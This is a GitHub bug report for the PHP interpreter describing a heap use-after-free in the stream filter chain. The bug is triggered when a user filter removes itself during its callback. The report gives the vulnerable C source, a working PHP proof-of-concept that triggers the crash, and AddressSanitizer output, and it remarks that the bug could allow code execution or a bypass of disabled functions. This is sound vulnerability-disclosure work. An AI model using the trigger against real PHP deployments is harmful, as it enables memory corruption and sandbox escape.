Skip to content

Stream filter chain UAF via self-removal during callback #22063

@therealcoiffeur

Description

@therealcoiffeur

Description

Summary

_php_stream_filter_flush() iterates a linked list of stream filters without saving current->next before invoking each filter's callback. For PHP user-space filters, the callback dispatches into userfilter_filter() which calls the PHP class's filter() method. From inside that method the user can call stream_filter_remove() on the currently-executing filter, which calls php_stream_filter_remove(filter, true) -> php_stream_filter_free(filter), freeing the php_stream_filter struct while the C iteration is still live.

Two separate UAF access points result:

  1. user_filters.c:241: obj = &thisfilter->abstract is set before the callback. After php_stream_filter_free(thisfilter) frees the struct, obj is dangling. If the filter class declares a $stream property, stream_name is non-NULL and Z_OBJCE_P(obj) / Z_OBJ_P(obj) at line 241 read from the freed struct. This fires regardless of the return value from the PHP filter() method.

  2. filter.c:420: After userfilter_filter() returns, the loop update current = current->next reads next from the freed thisfilter struct. This fires when the PHP filter() method returns PSFS_PASS_ON (2); PSFS_FEED_ME (1) and PSFS_ERR_FATAL (0) both return before the loop update.

Vulnerable Source Code

// main/streams/filter.c:402-440 -- flush loop, no next-pointer save
PHPAPI zend_result _php_stream_filter_flush(php_stream_filter *filter, bool finish)
{
    ...
    for(current = filter; current; current = current->next) {   // line 420
        status = current->fops->filter(stream, current,         // line 423
                                       inp, outp, NULL, flags);
        if (status == PSFS_FEED_ME) { return SUCCESS; }         // exits before UAF #2
        if (status == PSFS_ERR_FATAL) { return FAILURE; }       // exits before UAF #2
        ...
    }   // loop update: current = current->next  <- UAF #2 if PSFS_PASS_ON returned
}
// ext/standard/user_filters.c:164-254 -- PHP callback dispatch
static php_stream_filter_status_t userfilter_filter(
    php_stream *stream, php_stream_filter *thisfilter, ...)
{
    int ret = PSFS_ERR_FATAL;
    zval *obj = &thisfilter->abstract;              // line 174: pointer into filter struct

    call_user_function(NULL, obj, &func_name,       // line 212: PHP runs
                       &retval, 4, args);
    // PHP may call stream_filter_remove() -> php_stream_filter_free(thisfilter)
    // thisfilter struct is NOW FREED; obj is dangling

    if (stream_name != NULL) {                      // line 241: if $stream property exists
        zend_update_property_null(
            Z_OBJCE_P(obj),                         // UAF READ #1 from freed struct
            Z_OBJ_P(obj), ...);
    }
    return ret;
}
// main/streams/filter.c:487-508 -- php_stream_filter_remove frees the struct
PHPAPI php_stream_filter *php_stream_filter_remove(php_stream_filter *filter, bool call_dtor)
{
    if (filter->prev) filter->prev->next = filter->next;   // unlink
    else filter->chain->head = filter->next;
    if (filter->next) filter->next->prev = filter->prev;
    else filter->chain->tail = filter->prev;

    if (filter->res) zend_list_delete(filter->res);

    if (call_dtor) {
        php_stream_filter_free(filter);                    // struct freed here
        return NULL;
    }
    return filter;
}

How to Trigger

<?php

class UAFFilter extends php_user_filter {
    public $stream;
    private static bool $removed = false;

    public function filter($in, $out, &$consumed, $closing): int {
        if (!self::$removed) {
            self::$removed = true;
            stream_filter_remove($GLOBALS['filter_res']);
        }
        return PSFS_PASS_ON;
    }
}

stream_filter_register('uaf', 'UAFFilter');
$f = fopen('php://memory', 'r+');
$GLOBALS['filter_res'] = stream_filter_append($f, 'uaf', STREAM_FILTER_WRITE);
fwrite($f, 'hello');

Command:

USE_ZEND_ALLOC=0 sapi/cli/php ../../Results/Findings/f6/poc.php

Output:


Warning: fwrite(): Unprocessed filter buckets remaining on input brigade in /Users/terrence/Documents/Research/Targets/PHP/Results/Findings/f6/poc.php on line 19
=================================================================
==30105==ERROR: AddressSanitizer: heap-use-after-free on address 0x607000027548 at pc 0x000106134d78 bp 0x00016aed8010 sp 0x00016aed8008
READ of size 8 at 0x607000027548 thread T0
    #0 0x000106134d74 in userfilter_filter user_filters.c:242
    #1 0x0001062d2e78 in _php_stream_write_filtered streams.c:1239
    #2 0x0001062d08dc in _php_stream_write streams.c:1326
    #3 0x000105f9b7e0 in zif_fwrite file.c:997
    #4 0x0001069b6d24 in ZEND_DO_ICALL_SPEC_RETVAL_UNUSED_TAILCALL_HANDLER zend_vm_execute.h:54091
    #5 0x00010664fa9c in execute_ex zend_vm_execute.h:110168
    #6 0x000106650430 in zend_execute zend_vm_execute.h:115586
    #7 0x000106c70b44 in zend_execute_script zend.c:1971
    #8 0x00010625f658 in php_execute_script_ex main.c:2646
    #9 0x00010625fbc0 in php_execute_script main.c:2686
    #10 0x000106c774b8 in do_cli php_cli.c:947
    #11 0x000106c75904 in main php_cli.c:1370
    #12 0x00018dd6bda0 in start+0x1b4c (dyld:arm64e+0x1fda0)

0x607000027548 is located 8 bytes inside of 80-byte region [0x607000027540,0x607000027590)
freed by thread T0 here:
    #0 0x000109f0d258 in free+0x7c (libclang_rt.asan_osx_dynamic.dylib:arm64e+0x41258)
    #1 0x0001064d3664 in __zend_free zend_alloc.c:3571
    #2 0x0001064d737c in _efree zend_alloc.c:2788
    #3 0x0001062b39d8 in php_stream_filter_free filter.c:281
    #4 0x0001062b6078 in php_stream_filter_remove filter.c:505
    #5 0x0001060ab648 in zif_stream_filter_remove streamsfuncs.c:1313
    #6 0x0001069b6d24 in ZEND_DO_ICALL_SPEC_RETVAL_UNUSED_TAILCALL_HANDLER zend_vm_execute.h:54091
    #7 0x00010664fa9c in execute_ex zend_vm_execute.h:110168
    #8 0x000106629524 in zend_call_function zend_execute_API.c:1016
    #9 0x000106626d6c in _call_user_function_impl zend_execute_API.c:800
    #10 0x000106134c20 in userfilter_filter user_filters.c:212
    #11 0x0001062d2e78 in _php_stream_write_filtered streams.c:1239
    #12 0x0001062d08dc in _php_stream_write streams.c:1326
    #13 0x000105f9b7e0 in zif_fwrite file.c:997
    #14 0x0001069b6d24 in ZEND_DO_ICALL_SPEC_RETVAL_UNUSED_TAILCALL_HANDLER zend_vm_execute.h:54091
    #15 0x00010664fa9c in execute_ex zend_vm_execute.h:110168
    #16 0x000106650430 in zend_execute zend_vm_execute.h:115586
    #17 0x000106c70b44 in zend_execute_script zend.c:1971
    #18 0x00010625f658 in php_execute_script_ex main.c:2646
    #19 0x00010625fbc0 in php_execute_script main.c:2686
    #20 0x000106c774b8 in do_cli php_cli.c:947
    #21 0x000106c75904 in main php_cli.c:1370
    #22 0x00018dd6bda0 in start+0x1b4c (dyld:arm64e+0x1fda0)

previously allocated by thread T0 here:
    #0 0x000109f0d164 in malloc+0x78 (libclang_rt.asan_osx_dynamic.dylib:arm64e+0x41164)
    #1 0x0001064d7998 in __zend_malloc zend_alloc.c:3543
    #2 0x0001064d7250 in _emalloc zend_alloc.c:2778
    #3 0x0001062b369c in _php_stream_filter_alloc filter.c:266
    #4 0x000106133c60 in user_filter_factory_create user_filters.c:386
    #5 0x0001062b31cc in php_stream_filter_create filter.c:228
    #6 0x0001060aabb8 in apply_filter_to_stream streamsfuncs.c:1252
    #7 0x0001060ab050 in zif_stream_filter_append streamsfuncs.c:1288
    #8 0x0001069b78cc in ZEND_DO_ICALL_SPEC_RETVAL_USED_TAILCALL_HANDLER zend_vm_execute.h:54161
    #9 0x00010664fa9c in execute_ex zend_vm_execute.h:110168
    #10 0x000106650430 in zend_execute zend_vm_execute.h:115586
    #11 0x000106c70b44 in zend_execute_script zend.c:1971
    #12 0x00010625f658 in php_execute_script_ex main.c:2646
    #13 0x00010625fbc0 in php_execute_script main.c:2686
    #14 0x000106c774b8 in do_cli php_cli.c:947
    #15 0x000106c75904 in main php_cli.c:1370
    #16 0x00018dd6bda0 in start+0x1b4c (dyld:arm64e+0x1fda0)

SUMMARY: AddressSanitizer: heap-use-after-free user_filters.c:242 in userfilter_filter
Shadow bytes around the buggy address:
  0x607000027280: fa fa fa fa fd fd fd fd fd fd fd fd fd fd fa fa
  0x607000027300: fa fa 00 00 00 00 00 00 00 00 00 03 fa fa fa fa
  0x607000027380: 00 00 00 00 00 00 00 00 00 00 fa fa fa fa 00 00
  0x607000027400: 00 00 00 00 00 00 00 fa fa fa fa fa 00 00 00 00
  0x607000027480: 00 00 00 00 00 00 fa fa fa fa fd fd fd fd fd fd
=>0x607000027500: fd fd fd fd fa fa fa fa fd[fd]fd fd fd fd fd fd
  0x607000027580: fd fd fa fa fa fa fd fd fd fd fd fd fd fd fd fd
  0x607000027600: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x607000027680: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x607000027700: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x607000027780: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07 
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
==30105==ABORTING
[1]    30105 abort      USE_ZEND_ALLOC=0 sapi/cli/php ../../Results/Findings/f6/poc.php

Note: Even though this could be used to execute arbitrary code or bypass disabled functions, GHSA-fj3x-x2xf-vj4g is not part of PHP's threat model (which is wrong, but that's not my call).
"Hey, this is not a security issue. You have to write carefully crafted code to trigger this.
Please re-open this as a normal bug."

PHP Version

PHP 8.6.0-dev (cli) (built: May 16 2026 16:38:50) (NTS DEBUG)
Copyright © The PHP Group and Contributors
Zend Engine v4.6.0-dev, Copyright © Zend by Perforce
    with Zend OPcache v8.6.0-dev, Copyright ©, by Zend by Perforce

Operating System

No response

Metadata

Metadata

Assignees

No one assigned

    Type

    No type
    No fields configured for issues without a type.

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions